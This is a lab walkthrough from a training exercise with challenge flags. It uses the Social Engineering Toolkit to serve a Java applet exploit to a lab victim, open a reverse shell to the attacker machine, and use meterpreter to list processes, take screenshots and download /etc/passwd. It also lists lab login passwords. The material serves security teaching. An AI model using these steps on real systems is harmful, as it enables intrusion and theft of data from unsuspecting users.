Exploiting Java to Attack a Remote System
Using Social Engineering Toolkit (SET)
- Click on the Kali icon on the topology diagram.

- If the VM window is black, simply click somewhere in the window. For the Username, type
root.

- When prompted for the password, type
toor. Press Enter.
Note: The password of toor will not be displayed when you type it for security purposes.

- Open a new terminal window by clicking on the terminal icon located on the left menu pane.

- Initiate the ifconfig command to verify if the loopback interface is up and running.
root@Kali-Attacker:~# ifconfig

- If it is not active, initiate the command below to bring the loopback interface up.
root@Kali-Attacker:~# ifconfig lo up

- Initiate the ifconfig command to verify if the loopback interface is up and running.
root@Kali-Attacker:~# ifconfig

- Type the below command and press Enter to initialize the database for Metasploit.
root@Kali-Attacker:~# service postgresql start
- Start the Social Engineering Toolkit by typing the command below. Press Enter.
root@Kali-Attacker:~# setoolkit

- Notice the random banner that appears at the top of the screen.
Note: your banner will most likely vary.

Hit Enter until you see a computer banner that says Free #hugs. This might take a few times.
Note: when you hit Enter, it might not look like the banner changed. Scroll up to see the new banner.

- Notice the flag of 999818. Click on the Challenge icon and type the flag number into the answer box. This is just to show you how to capture Challenge Flags you will see throughout this lab.
- Get the information for below Challenge Flag by using the same techniques from the previous steps.
- When presented with the SET main menu, type
1for Social-Engineering Attacks. Press Enter.

- On the next menu, type
2for Website Attack Vectors. Press Enter.

- Choose the Metasploit Browser Exploit Method by typing the number
2. Press Enter.

- Choose Web Templates by typing
1. Press Enter.

- When asked, “Are you using NAT/Port Forwarding?” type
yes. Press Enter.

- When prompted for an IP address, type
203.0.113.2. Press Enter.

- When asked if the payload handler is on a different IP, type
no. Press Enter.

- On the select template menu, type
1for Java Required. Press Enter.

- From the browser exploit list, type
12to use the Java 7 Applet Remote Code Execution. Press Enter.

- Type
1to use Windows Shell Reverse_TCP. Press Enter.

- Type
6666to use as the reverse port number. Press Enter.

- Allow 1 to 2 minutes to pass for the SET web server to start. Once the Server started message appears, press Enter.


Notice the prompt is set to msf exploit(java_jre17_exec). The Local IP presented is the malicious web URL we will want to send to the victim to initiate. Take note of this URL.
Initiating Malicious URL
- Click on the Ubuntu icon on the topology diagram.

- On the login screen, select the student account.

- When prompted for the password, type
securepassword. Press Enter.
Note: The password of securepassword will not be displayed when you type it for security purposes.

- Open the Firefox web browser by clicking on the Firefox icon located on the left menu pane.

- In the address bar, type the following:
http://203.0.113.2:8080/followed by pressing Enter.

- A message will appear asking to a Java applet. Click on Allow.

- Another Firefox message appears. Click on Allow Now.

- Open a new terminal window by clicking on the terminal icon located on the left menu pane.

- Type the command below and press Enter to verify if a connection has been made to the remote server.
student@Ubuntu:~$ netstat –nao | grep 6666

Note the connection has been established.
Using The Meterpreter Session
- On Kali machine, focus on the terminal window left open with SET running. Notice the prompt displaying that a meterpreter session has been opened. Press Enter to bring the command prompt up.

- Type
sessionsfollowed by pressing Enter. Notice the active sessions presented.

- Start an interaction with session 1. Type the command below.
sessions –i 1

- Press Enter.

- Notice the meterpreter prompt. Type
sysinfofollowed by pressing Enter to receive info on the OS of the victim.

- Type
getuidfollowed by pressing Enter to receive user info that the server is running as.

- Type
psfollowed by pressing Enter to receive a list of running processes on the victim.

- Type
screenshotand press Enter to print an active screenshot of the victim’s current desktop screen.

- Type
download /etc/passwdand press Enter to grab the passwd file.

- Type
shellinto the meterpreter prompt and press Enter.

- Type
pwdand press Enter to confirm we have shell access.

- Type
id studentand press Enter to view the UID of 1000.

- Get the information for below Challenge Flag by using the same techniques from the previous steps.
Comments
Post a Comment